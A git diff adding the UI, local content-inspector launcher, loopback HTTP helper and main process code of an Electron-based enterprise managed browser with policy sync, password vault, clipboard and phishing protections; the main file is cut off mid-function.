--- /dev/null +++ b/apps/browser/icons/key-round.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/lock-keyhole.svg b/apps/browser/icons/lock-keyhole.svg new file mode 100644 index 0000000..6d9e33e --- /dev/null +++ b/apps/browser/icons/lock-keyhole.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/maximize-2.svg b/apps/browser/icons/maximize-2.svg new file mode 100644 index 0000000..992fd59 --- /dev/null +++ b/apps/browser/icons/maximize-2.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/apps/browser/icons/minus.svg b/apps/browser/icons/minus.svg new file mode 100644 index 0000000..677c2c2 --- /dev/null +++ b/apps/browser/icons/minus.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/panel-left.svg b/apps/browser/icons/panel-left.svg new file mode 100644 index 0000000..49fc92d --- /dev/null +++ b/apps/browser/icons/panel-left.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/panel-right.svg b/apps/browser/icons/panel-right.svg new file mode 100644 index 0000000..424232c --- /dev/null +++ b/apps/browser/icons/panel-right.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/plus.svg b/apps/browser/icons/plus.svg new file mode 100644 index 0000000..7409e33 --- /dev/null +++ b/apps/browser/icons/plus.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/rotate-cw.svg b/apps/browser/icons/rotate-cw.svg new file mode 100644 index 0000000..ef5ee7b --- /dev/null +++ b/apps/browser/icons/rotate-cw.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/scan-text.svg b/apps/browser/icons/scan-text.svg new file mode 100644 index 0000000..b4ce1c1 --- /dev/null +++ b/apps/browser/icons/scan-text.svg @@ -0,0 +1,21 @@ + + + + + + + + + + diff --git a/apps/browser/icons/search.svg b/apps/browser/icons/search.svg new file mode 100644 index 0000000..269ec84 --- /dev/null +++ b/apps/browser/icons/search.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/share.svg b/apps/browser/icons/share.svg new file mode 100644 index 0000000..d361db8 --- /dev/null +++ b/apps/browser/icons/share.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/shield-check.svg b/apps/browser/icons/shield-check.svg new file mode 100644 index 0000000..d0aeb44 --- /dev/null +++ b/apps/browser/icons/shield-check.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/sparkles.svg b/apps/browser/icons/sparkles.svg new file mode 100644 index 0000000..2fbc0f2 --- /dev/null +++ b/apps/browser/icons/sparkles.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/apps/browser/icons/squares-unite.svg b/apps/browser/icons/squares-unite.svg new file mode 100644 index 0000000..ffd90fe --- /dev/null +++ b/apps/browser/icons/squares-unite.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/star.svg b/apps/browser/icons/star.svg new file mode 100644 index 0000000..96bb9ca --- /dev/null +++ b/apps/browser/icons/star.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/x.svg b/apps/browser/icons/x.svg new file mode 100644 index 0000000..c80fe02 --- /dev/null +++ b/apps/browser/icons/x.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/index.html b/apps/browser/index.html new file mode 100644 index 0000000..28f6d6c --- /dev/null +++ b/apps/browser/index.html @@ -0,0 +1,481 @@ + + + + + + + + S Browser + + + + + + +
+
+
+
+ + + +
+ + + +
+
+ + + + +
+
+ + + + + + + + +
+
+
+
+ +
+
+ + + Enrollment required + +
+
+
+ + + + + + +
+
+

+ S BROWSER +

+

+ Your space to explore. +

+
+
+

+ Favorites +

+ + Keep what matters close. + +
+
+
+ +
+
+
+

+ Recently visited +

+
+
+
+
+
+
+ +
+
+ + A protected workspace. + +

+ Your organization's rules follow you as you browse. +

+
+
+

+ Each tab keeps its own managed browsing context. +

+
+
+ + + + + +
+
+
+ +
+

+ YOUR MANAGED WORKSPACE +

+

+ A safer place to work. +

+

+ Connect to your organization for secure browsing and approved AI. +

+
+ + +
+ + +
+ + Your organization's management server supplies the security policy for this browser. + +
+

+

+
+
+ + + + + + + +
+

Add bookmark

+

Bookmarks are managed by your company. Administrators may access them when enabled by policy.

+ + + + +
+
+
+ + + + + diff --git a/apps/browser/inspection.cjs b/apps/browser/inspection.cjs new file mode 100644 index 0000000..486f667 --- /dev/null +++ b/apps/browser/inspection.cjs @@ -0,0 +1,55 @@ +const {spawn}=require('node:child_process'); +const fs=require('node:fs'),path=require('node:path'),crypto=require('node:crypto'); +function privateInspectorPaths(root,packaged=false,environment=process.env){ + const python=path.resolve(root,packaged?'python/python.exe':'.runtime/windows/python/python.exe'); + const script=path.resolve(root,packaged?'inspector/server.py':'apps/inspector/server.py'); + try{ + for(const [file,override]of [[python,environment.SAFETYNET_PYTHON],[script,environment.SAFETYNET_INSPECTOR_SCRIPT]]){ + if(override&&path.resolve(override).toLowerCase()!==file.toLowerCase())return null; + if(!fs.statSync(file).isFile())return null; + // Do not resolve away a junction before checking ownership boundaries. + for(let item=file;;item=path.dirname(item)){ + if(fs.lstatSync(item).isSymbolicLink())return null; + if(path.dirname(item)===item)break; + } + } + return {python,script}; + }catch{return null;} +} +function startInspector(root,packaged=false){ + const files=privateInspectorPaths(root,packaged);if(!files)return null; + const {python,script}=files; + const credential=crypto.randomBytes(32).toString('base64url'); + const semanticRuntime=path.join(root,packaged?'semantic':'.runtime/windows/semantic'); + // Native model loading remains wholly local; the Python adapter verifies pinned artifacts. + // Explicit deployment paths take precedence, and missing artifacts fail semantic inspection closed. + const environment={...process.env,INSPECTOR_TOKEN:credential,INSPECTOR_PORT:'0',INSPECTOR_PARENT_PID:String(process.pid)}; + if(!environment.EMBEDDING_MODEL_DIR)environment.EMBEDDING_MODEL_DIR=path.join(semanticRuntime,'models'); + if(!environment.EMBEDDING_WORKER_PATH)environment.EMBEDDING_WORKER_PATH=path.join(semanticRuntime,'searchi-gemma-worker.exe'); + for(const key of ['ADMIN_TOKEN','OIDC_CLIENT_SECRET','AI_API_KEY','SIEM_HTTP_TOKEN','SIEM_KEY_FILE','SAFETYNET_PROXY_PASSWORD'])delete environment[key]; + const child=spawn(python,[script],{windowsHide:true,stdio:['ignore','pipe','pipe'],env:environment}); + let port,output='';const startup=new Promise((resolve,reject)=>{ + const timer=setTimeout(()=>{child.kill();reject(Error('Local inspector startup timed out'));},30000); + child.on('error',()=>{clearTimeout(timer);reject(Error('Local inspector failed to start'));}); + child.once('exit',()=>{clearTimeout(timer);reject(Error('Local inspector stopped'));}); + child.stdout.on('data',chunk=>{output+=chunk.toString();if(output.length>4096){child.kill();return;} + if(output.includes('\n')){try{const value=JSON.parse(output.split('\n')[0]);if(!Number.isInteger(value.port)||value.port<1||value.port>65535)throw Error();if(process.platform==='win32'&&(value.containment?.active!==true||value.containment?.kind!=='windows-job-v1'||value.containment?.killsDescendants!==true||value.containment?.parserIsolation?.active!==true||value.containment?.parserIsolation?.kind!=='windows-appcontainer-v1'||value.containment?.parserIsolation?.networkCapabilities!==0||value.containment?.parserIsolation?.privatePipes!==true||value.containment?.parserIsolation?.readOnlyRuntime!==true))throw Error();port=value.port;clearTimeout(timer);resolve();}catch{child.kill();reject(Error('Local inspector startup rejected'));}}}); + child.stderr.on('data',()=>{}); + });startup.catch(()=>{}); + const waitReady=async()=>{await startup;if(child.exitCode!==null||child.signalCode!==null)throw Error('Local content inspector stopped; restart the browser');}; + const invoke=async(route,bytes,policy)=>{ + await waitReady(); + const controller=new AbortController(),timer=setTimeout(()=>controller.abort(),30000); + try{ + const response=await require('./loopback-http.cjs').postLoopback({port,route,token:credential,body:{data:Buffer.from(bytes).toString('base64'),policy},signal:controller.signal}); + if(response.status!==200)throw Error('Local content inspection failed');const result=response.body; + if(!['allow','block'].includes(result.decision)||typeof result.coverage?.complete!=='boolean')throw Error('Inspector response rejected'); + if(result.decision==='allow'&&!result.coverage.complete)throw Error('Incomplete content cannot be released');return result; + }catch(error){if(error.name==='AbortError'){child.kill();throw Error('Content inspection exceeded its time budget');}throw error;} + finally{clearTimeout(timer);} + }; + return {stop:()=>child.kill(),waitReady,inspect:(bytes,policy)=>invoke('/inspect',bytes,policy),scanDownload:(bytes,policy)=>invoke('/scan-download',bytes,policy)}; +} +module.exports={startInspector,privateInspectorPaths}; + + diff --git a/apps/browser/loopback-http.cjs b/apps/browser/loopback-http.cjs new file mode 100644 index 0000000..eebf5c0 --- /dev/null +++ b/apps/browser/loopback-http.cjs @@ -0,0 +1,17 @@ +const http=require('node:http'); +function postLoopback({port,route,token,body,signal,maxResponseBytes=2*1024*1024}){ + if(!Number.isInteger(Number(port))||Number(port)<1||Number(port)>65535||!/^\/[a-z0-9/-]+$/i.test(route)||typeof token!=='string')return Promise.reject(Error('Local endpoint rejected')); + const payload=Buffer.from(JSON.stringify(body)); + return new Promise((resolve,reject)=>{ + // Direct TCP avoids environment/global proxy routing of private content. + const request=http.request({hostname:'127.0.0.1',port:Number(port),path:route,method:'POST',agent:false,signal, + headers:{authorization:`Bearer ${token}`,'content-type':'application/json','content-length':payload.length}},response=>{ + if(response.statusCode>=300&&response.statusCode<400){response.resume();reject(Error('Local redirects rejected'));return;} + let size=0;const chunks=[];response.on('error',reject); + response.on('data',chunk=>{size+=chunk.length;if(size>maxResponseBytes){response.destroy();request.destroy();reject(Error('Local response budget exceeded'));}else chunks.push(chunk);}); + response.on('end',()=>{try{resolve({status:response.statusCode,body:JSON.parse(Buffer.concat(chunks).toString('utf8'))});}catch{reject(Error('Invalid local JSON response'));}}); + }); + request.on('error',reject);request.end(payload); + }); +} +module.exports={postLoopback}; diff --git a/apps/browser/main.cjs b/apps/browser/main.cjs new file mode 100644 index 0000000..87cc2f5 --- /dev/null +++ b/apps/browser/main.cjs @@ -0,0 +1,631 @@ +const { app, BrowserWindow, WebContentsView, ipcMain, session, safeStorage, shell, dialog, powerMonitor, clipboard, Menu } = require('electron'); +const {assertSecureStartup}=require('./startup-security.cjs'); +const {assertPolicyAssignment}=require('./policy-assignment.cjs'); +assertSecureStartup(app.commandLine); +// Force Chromium sandboxing globally before any renderer is created. The subframe +// preload option below never grants a Node engine: native proof tests verify this. +app.enableSandbox(); +const fs = require('node:fs'); +const path = require('node:path'); +const os = require('node:os'); +const { pathToFileURL } = require('node:url'); +const {createDiagnostics}=require('./diagnostics.cjs'); +const diagnostics=createDiagnostics(); +function diagnosticContext(extra={}){return {policyVersion:policy?.version||0,...(device?.id?{deviceId:device.id}:{}),...extra};} +function diagnosticSpan(name,attributes,operation){ + // Instrumentation never replaces, skips or retries a security operation. + let started=false;const run=()=>{started=true;return Promise.resolve(operation()).then(result=>{if(['allow','block','deny','unknown'].includes(result?.decision)){try{diagnostics.event(name,diagnosticContext({...attributes,decision:result.decision}));}catch{}}return result;});}; + try{return diagnostics.span(name,diagnosticContext(attributes),run);}catch(error){if(started)throw error;return run();} +} +let diagnosticsConfiguration=''; +function configureDiagnostics(config){const value=config||{enabled:false},context=diagnosticContext(),key=JSON.stringify([value,context]);if(key===diagnosticsConfiguration)return;try{diagnostics.configure(value,context);diagnosticsConfiguration=key;}catch{diagnosticsConfiguration='';try{diagnostics.configure({enabled:false});}catch{}}} +function diagnosticCorrelation(){try{const ids=diagnostics.correlation?.();return /^[a-f0-9]{32}$/.test(ids?.traceId||'')&&/[1-9a-f]/.test(ids.traceId)&&/^[a-f0-9]{16}$/.test(ids?.spanId||'')&&/[1-9a-f]/.test(ids.spanId)?{traceId:ids.traceId,spanId:ids.spanId}:{};}catch{return {};}} +let win,view,browserSession,managementSession,core,device,policy,ready=false,syncing=false,aiPanel=false,vaultPanel=false,vault,vaultTimer; +let chromeHeight=104,leftSidebar=false,startPage=false,overviewPanel=false,toolsOpen=false,pageTitle='',pageColor='#edf1f6'; +const {createTabRegistry}=require('./tab-registry.cjs'); +let tabs,tabsRevision=0; +function activeTab(){return tabs?.active();} +function tabContext(id,{foreground=true}={}){const tab=id?tabs.get(id):activeTab();if(!tab)throw Error('No native browser tab');return tabs.context(tab.id,{foreground});} +function currentTabContext(token){return ready&&token?.policyVersion===policy?.version&&tabs.current(token)&&Date.parse(policy?.expiresAt)>Date.now();} +function selectTab(id){const target=tabs.get(id);if(!target.guarded)throw Error('Native tab security is still initializing');const changed=target!==activeTab();const tab=tabs.activate(id);if(changed){win.webContents.focus();vault?.lock();vaultPanel=false;}view=tab.view;startPage=tab.startPage;pageTitle=tab.title;pageColor=tab.color;layout();return tab;} +function blockedTab(){return tabs?.all().find(tab=>tab.security.visualBlocked||tab.security.contentBlocked);} +function stickyBlock(){const tab=blockedTab();return tab&&(tab.security.visualBlocked||tab.security.contentBlocked);} +const {startInspector}=require('./inspection.cjs'); +const {icapRequired,scanEnterprise,scanDownloadEnterprise}=require('./enterprise-inspection.cjs'); +const {createDownloadGate}=require('./download-gate.cjs'); +const {resolverOptions,createNetworkPosture}=require('./network-posture.cjs'); +const networkPosture=createNetworkPosture();let networkTimer,networkChecking=false; +const {startAgentControl}=require('./agent-control.cjs'); +const {createAgentAdapters}=require('./agent-adapters.cjs'); +const {createVault}=require('./vault.cjs'); +const {createDeveloperToolsGuard,developerAssetRequestAllowed}=require('./developer-tools.cjs'); +const {settingsState,sectionVisible,sectionAllowed,featureAllowed,requireFeature,requireSection,validateAppearance}=require('./managed-settings.cjs'); +const {bookmarkState,validateMutation:validateBookmarkMutation,libraryVisible}=require('./bookmarks.cjs'); +let bookmarkBusy=false,personalBookmarks={revision:0,items:[]},bookmarkSnapshotJSON=''; +function effectiveBookmarkPolicy(){return policy?{...policy,browser:{...policy.browser,bookmarks:{...policy.browser.bookmarks,personal:personalBookmarks}}}:null;} +let appearancePreferences={}; +function managedSettings(){return settingsState({policy,ready,preferences:appearancePreferences});} +function requireManagedSection(section){requireSection(managedSettings(),section);} +function requireFeatureSection(section){requireFeature(managedSettings(),section);} +function loadAppearance(){try{appearancePreferences=validateAppearance(JSON.parse(fs.readFileSync(path.join(app.getPath('userData'),'appearance.json'),'utf8')));}catch{appearancePreferences={};}} +function persistAppearance(){fs.writeFileSync(path.join(app.getPath('userData'),'appearance.json'),JSON.stringify(appearancePreferences),{mode:0o600});} +const {fillScript}=require('./password-fill.cjs'); +const {createVisualPhishing,describeScript}=require('./visual-phishing.cjs'); +const {fingerprintPNG}=require('../../packages/core/visual-image.cjs'); +const {hammingDistance}=require('../../packages/core/visual-hash.cjs'); +const {capturePNG}=require('./visual-capture.cjs'); +const {createClipboardGuard}=require('./clipboard-guard.cjs'); +const {clipboardScript}=require('./clipboard-dom.cjs'); +const {attachPageClipboardGuard,disposePageClipboardGuard}=require('./page-clipboard-guard.cjs'); +let clipboardGuard,clipboardCore,clipboardFatal=false; +function installClipboardControls(contents){ + contents.on('before-input-event',(event,input)=>{ + if(input.type!=='keyDown')return; + const key=input.key.toLowerCase(),modifier=(input.control||input.meta)&&!input.alt; + const operation=modifier&&key==='c'||input.control&&key==='insert'?'copy':modifier&&key==='x'||input.shift&&key==='delete'?'cut':modifier&&key==='v'||input.shift&&key==='insert'?'paste':null; + if(operation){event.preventDefault();diagnosticSpan('browser.clipboard',{operation},()=>clipboardGuard?.perform(operation,contents)).catch(()=>{});} + }); + contents.on('context-menu',(_event,params)=>{ + const actions=params.isEditable?['copy','cut','paste']:params.selectionText?['copy']:[]; + if(!actions.length)return; + Menu.buildFromTemplate(actions.map(operation=>({label:operation[0].toUpperCase()+operation.slice(1),click:()=>diagnosticSpan('browser.clipboard',{operation},()=>clipboardGuard?.perform(operation,contents)).catch(()=>{})}))).popup({window:win}); + }); +} +let managementHealthy=false; +function visualDeadline(operation){let timeout;return Promise.race([operation,new Promise((_,reject)=>{timeout=setTimeout(()=>reject(Error('Visual check timed out')),5000);})]).finally(()=>clearTimeout(timeout));} +function checkVisual(...args){return diagnosticSpan('browser.visual',args[0]?.id?{sessionId:args[0].id}:{},()=>checkVisualImpl(...args));} +async function checkVisualImpl(tab=activeTab()){ + if(!tab||tab.view.webContents.isDestroyed())return {decision:'unknown'}; + if(!policy?.security.visualPhishing.enabled)return {decision:'allow'}; + const security=tab.security; + if(!security.visualPending){const operation=security.visualScanner.check({force:true});security.visualPending=operation;operation.finally(()=>{if(security.visualPending===operation)security.visualPending=null;}).catch(()=>{});} + const generation=tab.navigationId,version=policy.version,url=tab.view.webContents.getURL(),result=await security.visualPending; + if(ready&&generation===tab.navigationId&&version===policy.version&&!tab.view.webContents.isDestroyed()&&url===tab.view.webContents.getURL()&&result.decision==='allow')security.visualApproval={generation,version,url}; + if(!tab.view.webContents.isDestroyed()&&generation===tab.navigationId&&version===policy.version&&url===tab.view.webContents.getURL()){if(ready){if(result.decision==='unknown')message='Login protection could not approve this view. Credential actions are held.';emit();}return result;} + return {decision:'unknown',reason:'stale-context'}; +} +async function configureVisualPage(enabled,tab=activeTab()){ + if(!tab)return;tabs.navigation(tab.id);const contents=tab.view.webContents; + if(contents.isDestroyed()||!/^https?:\/\//.test(contents.getURL()))return; + const token=require('node:crypto').randomUUID(); + await new Promise((resolve,reject)=>{ + const handler=(event,value)=>{if(event.sender===contents&&event.senderFrame===contents.mainFrame&&value===token){clearTimeout(timeout);ipcMain.removeListener('managed:visual-configured',handler);resolve();}}; + const timeout=setTimeout(()=>{ipcMain.removeListener('managed:visual-configured',handler);enabled?reject(Error('Visual protection could not initialize')):resolve();},2000); + ipcMain.on('managed:visual-configured',handler);contents.send('managed:visual-config',{enabled,token}); + }); +} +let message='Enroll this browser to receive company policy.',syncTimer,localInspector,auditQueue=[],flushing=false,agentService,agentStarting=false,securityCore; +const recentRequests=new Map(); +const agentFile=()=>path.join(app.getPath('userData'),'agent-connection.json'); +app.commandLine.appendSwitch('disable-http-cache'); +const uiUrl=pathToFileURL(path.join(__dirname,'index.html')).href; +const configPath=()=>path.join(app.getPath('userData'),'enrollment.json'); +const cliRequest=app.commandLine.getSwitchValue('agent-action'),cliConnection=app.commandLine.getSwitchValue('agent-connection'); +if(cliRequest){try{require('./agent-client.cjs').configureClient(cliConnection);}catch{app.exit(1);}} +const ownsBrowserInstance=!!cliRequest||app.requestSingleInstanceLock(); +if(!ownsBrowserInstance)app.quit(); +else if(!cliRequest)app.on('second-instance',()=>{if(win&&!win.isDestroyed()){if(win.isMinimized())win.restore();win.focus();}}); +function requireEncryption(){ + if(!safeStorage.isEncryptionAvailable() || (process.platform==='linux' && safeStorage.getSelectedStorageBackend()==='basic_text'))throw Error('An OS credential store is required. Configure Keychain, Windows DPAPI, or Linux Secret Service.'); +} +function saveDevice(value){requireEncryption();fs.writeFileSync(configPath(),JSON.stringify({encryptedEnrollment:safeStorage.encryptString(JSON.stringify(value)).toString('base64')}),{mode:0o600});} +function loadDevice(){ + if(!fs.existsSync(configPath()))return; + requireEncryption();const d=JSON.parse(fs.readFileSync(configPath(),'utf8'));return JSON.parse(safeStorage.decryptString(Buffer.from(d.encryptedEnrollment,'base64'))); +} +function managementUrl(value){ + const u=new URL(value); + if(u.username||u.password||u.search||u.hash||u.pathname!=='/')throw Error('Enter a management server origin without path or credentials'); + if(u.protocol!=='https:' && !(u.protocol==='http:'&&['localhost','127.0.0.1','[::1]'].includes(u.hostname)))throw Error('Management requires HTTPS; local development may use loopback HTTP.'); + if(process.env.SAFETYNET_MANAGEMENT_URL&&new URL(process.env.SAFETYNET_MANAGEMENT_URL).origin!==u.origin)throw Error('Enrollment must use the administrator-deployed management server'); + return u.origin; +} +const managementRequests=new Map(); +function request(...args){return diagnosticSpan('browser.management',{operation:args[1]==='/api/device/ai'?'ai':args[1]==='/api/device/enroll'?'enroll':'sync'},()=>requestImpl(...args));} +async function requestImpl(server,route,body,credential){ + if(route==='/api/device/policy'){ + if(!device||device.server!==server||device.token!==credential)throw Error('Protected management identity unavailable'); + return require('./management-channel.cjs').protectedPolicyRequest({device,request,save:saveDevice}); + } + const headers={};if(body)headers['content-type']='application/json';if(credential)headers.authorization=`Bearer ${credential}`; + if(route==='/api/device/enroll'||route==='/api/device/sso/poll')headers['x-safetynet-pq-bootstrap']='1'; + const controller=new AbortController(),timer=setTimeout(()=>controller.abort(),route.endsWith('/ai')?65000:10000);managementRequests.set(controller,route); + try{ + const fetcher=managementSession?managementSession.fetch.bind(managementSession):fetch; + const r=await fetcher(`${server}${route}`,{method:body?'POST':'GET',headers,body:body?JSON.stringify(body):undefined,credentials:'omit',redirect:'error',signal:controller.signal}); + const chunks=[];let size=0;for await(const part of r.body){size+=part.length;if(size>5*1024*1024)throw Error('Management response exceeds its limit');chunks.push(part);} + const data=JSON.parse(Buffer.concat(chunks).toString('utf8'));if(!r.ok && r.status!==202){const e=Error('Management request refused');e.status=r.status;throw e;}return data; + }finally{clearTimeout(timer);managementRequests.delete(controller);} +} +function state(){return {bookmarks:bookmarkState({policy:effectiveBookmarkPolicy(),ready,settings:managedSettings()}),settings:managedSettings(),enrolled:!!device,deviceId:device?.id||'',ready,clipboardPending:clipboardGuard?.isPending()||false,...tabs?.summary(),tabsRevision:++tabsRevision,canNavigate:ready||!!(stickyBlock()&&managementHealthy),loginCheckPending:ready&&!!policy?.security.visualPhishing.enabled&&(!activeTab()?.security.visualApproval||activeTab().security.visualApproval.generation!==activeTab().navigationId),message,brand:policy?.brand||{name:'SafetyNet',color:'#137c66'},policyVersion:policy?.version||0,server:device?.server||'',url:view?.webContents.getURL()||'',aiEnabled:ready&&!!policy?.ai.enabled,documentScanEnabled:ready&&policy?.inspection?.documentAnalysisEnabled!==false,passwordManagerEnabled:ready&&!!policy?.passwordManager?.enabled,vaultLocked:vault?.status().locked??true,vaultExists:vault?.status().exists??fs.existsSync(path.join(app.getPath('userData'),'password-vault.json')),agentsEnabled:ready&&!!policy?.agents.enabled,agentConnected:!!agentService};} +function emit(){if(win&&!win.isDestroyed()){const settings=managedSettings();if(!settings.visible)toolsOpen=false;if(!sectionAllowed(settings,'appearance'))chromeHeight=settings.appearance.tabMode==='compact'?64:104;if(!featureAllowed(settings,'ai'))aiPanel=false;if(!featureAllowed(settings,'passwords')){vaultPanel=false;vault?.lock();}if(!libraryVisible(settings))leftSidebar=false;layout();win.webContents.send('managed:state',{...state(),pageTitle,pageColor,windowMaximized:win.isMaximized()});win.setTitle(`S Browser · ${state().brand.name}`);}} +function layout(){const tab=activeTab();if(!win||!tab)return;view=tab.view;startPage=tab.startPage;const [width,height]=win.getContentSize(),left=leftSidebar?240:0;view.setBounds({x:left,y:chromeHeight,width:Math.max(0,width-left-((aiPanel||vaultPanel)?360:0)),height:Math.max(0,height-chromeHeight)});view.setVisible(ready&&tab.guarded&&!startPage&&!overviewPanel&&!toolsOpen);} +async function pageTheme(tab=activeTab()){ + if(!tab||!ready)return;const contents=tab.view.webContents,url=contents.getURL(),context=tabContext(tab.id,{foreground:false});if(!/^https?:\/\//.test(url))return; + try{const result=await contents.executeJavaScriptInIsolatedWorld(999,[{code:`(()=>{if(location.href!==${JSON.stringify(url)})return null;return {color:(document.querySelector('meta[name="theme-color"]')?.content||'').slice(0,32),background:getComputedStyle(document.body||document.documentElement).backgroundColor};})()`}],false); + if(!currentTabContext(context)||!result)return;const hex=/^#[a-f0-9]{6}$/i.test(result.color)?result.color:null,rgb=/^rgb\((\d{1,3}),\s*(\d{1,3}),\s*(\d{1,3})\)$/.exec(result.background||'');tab.color=hex||(rgb&&rgb.slice(1).every(v=>+v<=255)?'#'+rgb.slice(1).map(v=>(+v).toString(16).padStart(2,'0')).join(''):'#edf1f6');tab.title=contents.getTitle().slice(0,200);if(tab===activeTab()){pageColor=tab.color;pageTitle=tab.title;}emit(); + }catch{} +} +function lockVault(){const unlocked=vault&&!vault.status().locked;vault?.lock();if(unlocked)audit('vault.locked');emit();} +function quarantine(reason){ready=false;if(policy&&Date.parse(policy.expiresAt)<=Date.now())configureDiagnostics({enabled:false});for(const [controller,route] of managementRequests)if(route==='/api/device/ai')controller.abort();message=reason;vaultPanel=false;vault?.lock();tabs?.quarantine();emit();} +function vaultSettings(){return {enabled:ready&&!!policy?.passwordManager?.enabled,allowSaving:!!policy?.passwordManager?.allowSaving,allowAutofill:!!policy?.passwordManager?.allowAutofill,idleLockSeconds:policy?.passwordManager?.idleLockSeconds||300};} +function vaultStatus(){return {...(vault?.status()||{exists:fs.existsSync(path.join(app.getPath('userData'),'password-vault.json')),locked:true}),...vaultSettings()};} +function requireVault(){ + requireFeatureSection('passwords'); + const settings=vaultSettings();if(!settings.enabled||Date.parse(policy.expiresAt)<=Date.now())throw Error('Password manager is disabled or browser access is paused'); + requireEncryption(); + if(!vault||vault.status().idleSeconds!==settings.idleLockSeconds){vault?.lock();vault=createVault({filePath:path.join(app.getPath('userData'),'password-vault.json'),idleSeconds:settings.idleLockSeconds,protect:bytes=>safeStorage.encryptString(bytes.toString('base64')),unprotect:bytes=>Buffer.from(safeStorage.decryptString(bytes),'base64')});} + return vault; +} +function persistAudit(){requireEncryption();fs.writeFileSync(path.join(app.getPath('userData'),'audit-queue.bin'),safeStorage.encryptString(JSON.stringify(auditQueue)),{mode:0o600});} +async function flushAudit(){ + if(!device||flushing||!auditQueue.length)return;flushing=true; + try{for(let n=0;n<100&&auditQueue.length;n++){await request(device.server,'/api/device/events',auditQueue[0],device.token);auditQueue.shift();persistAudit();}} + catch{}finally{flushing=false;} +} +async function audit(kind,ruleId,host,fileFacts){ + if(!device||!policy)return; + // Operational correlation contains no rule text, hostname or forensic payload. + try{diagnostics.event('browser.security',diagnosticContext({decision:kind.endsWith('.block')?'block':kind.endsWith('.denied')?'deny':'unknown'}));}catch{} + if(auditQueue.length>=10000){quarantine('Security event queue is full. Contact your administrator.');return;} + try{const file=fileFacts?require('../../packages/core/transfer-facts.cjs').transferFacts(fileFacts):undefined;auditQueue.push({eventId:require('node:crypto').randomUUID(),kind,...(ruleId?{ruleId}:{}),...(host?{host}:{}),...(file?{file}:{}),...diagnosticCorrelation(),policyVersion:policy.version});persistAudit();flushAudit();} + catch{quarantine('Security events cannot be persisted. Contact your administrator.');} +} +function applyPolicy(envelope){return diagnosticSpan('browser.policy',{},()=>applyPolicyImpl(envelope));} +async function applyPolicyImpl(envelope){ + const next=assertPolicyAssignment(core.verifyPolicy(envelope,device.publicKey,device.minimumVersion||0),device.id); + const nextBookmarks=(await import('../../packages/core/bookmarks.mjs')).verifyBookmarkSnapshot(envelope.bookmarks,device.publicKey,{deviceId:device.id,policyVersion:next.version,minimumRevision:device.bookmarkRevision||0}); + const nextBookmarkJSON=JSON.stringify(nextBookmarks.items); + if(nextBookmarks.revision===(device.bookmarkRevision||0)&&device.bookmarkDigest&&require('node:crypto').createHash('sha256').update(nextBookmarkJSON).digest('hex')!==device.bookmarkDigest||nextBookmarks.revision===personalBookmarks.revision&&bookmarkSnapshotJSON&&nextBookmarkJSON!==bookmarkSnapshotJSON)throw Error('Bookmarks changed without a new revision'); + const acceptBookmarks=()=>{personalBookmarks={revision:nextBookmarks.revision,items:nextBookmarks.items};bookmarkSnapshotJSON=nextBookmarkJSON;device.bookmarkRevision=nextBookmarks.revision;device.bookmarkDigest=require('node:crypto').createHash('sha256').update(nextBookmarkJSON).digest('hex');saveDevice(device);}; + if(process.env.SAFETYNET_POLICY_KEY_FILE&&fs.readFileSync(process.env.SAFETYNET_POLICY_KEY_FILE,'utf8').trim()!==device.publicKey.trim())throw Error('Policy signing key does not match deployment pin'); + if(policy&&next.version===policy.version){ + // Same versions must describe identical policy; reject equivocation. + if(JSON.stringify(next)!==JSON.stringify(policy))throw Error('Policy changed without a new version');acceptBookmarks();if(Date.parse(policy.expiresAt)>Date.now())configureDiagnostics(policy.diagnostics);emit();return; + } + configureDiagnostics({enabled:false});quarantine('Applying company policy…'); + const proxy=next.proxy; + const settings={mode:proxy.mode,...(proxy.mode==='fixed_servers'?{proxyRules:proxy.rules,proxyBypassRules:proxy.bypass}:{}),...(proxy.mode==='pac_script'?{pacScript:proxy.pacUrl}:{})}; + await browserSession.closeAllConnections();await browserSession.setProxy(settings); + await managementSession.closeAllConnections();await managementSession.setProxy(settings); + app.configureHostResolver(resolverOptions(next.enterprise?.dns)); + await browserSession.clearHostResolverCache();recentRequests.clear(); + await managementSession.clearHostResolverCache(); + policy=next;device.minimumVersion=next.version;acceptBookmarks();configureDiagnostics(next.diagnostics); + for(const tab of tabs.all()){await configureVisualPage(next.security.visualPhishing.enabled,tab);if(!next.browser.allowDevTools){tab.security.developerToolsGuard?.close();tab.view.webContents.closeDevTools();}} + if((!next.agents.enabled||next.browser.settings.hiddenSections.includes('agents')||next.browser.settings.lockedSections.includes('agents'))&&agentService){agentService.revoke();await agentService.close();agentService=null;try{fs.unlinkSync(agentFile());}catch{}} + await audit('policy.applied'); +} +async function sync(){ + if(!device||syncing)return;syncing=true; + try{ + const envelope=await request(device.server,'/api/device/policy',null,device.token);await applyPolicy(envelope); + await request(device.server,'/api/device/heartbeat',{policyVersion:policy.version},device.token); + await flushAudit();if(auditQueue.length>=10000)throw Error('Security event queue is full'); + // Mandatory local inspection must be attested before unlocking the browser; + // first user gestures must not consume their scan budget waiting for ACL setup. + if(policy.security.yara.enabled||policy.dlp.semantic.enabled){ + if(!localInspector)throw Error('Required private content inspector is unavailable'); + await diagnosticSpan('browser.parser',{operation:'scan'},()=>localInspector.waitReady()); + } + if(Date.parse(policy.expiresAt)<=Date.now())throw Error('Company policy expired'); + if(clipboardFatal)throw Error('Managed renderer security failed; restart the browser'); + const posture=await diagnosticSpan('browser.network',{operation:'scan'},()=>networkPosture.check(policy.enterprise?.vpn)); + if(!posture.allowed)throw Error('Required corporate network is unavailable. Connect your company VPN.'); + managementHealthy=true; + const blocked=stickyBlock(); + 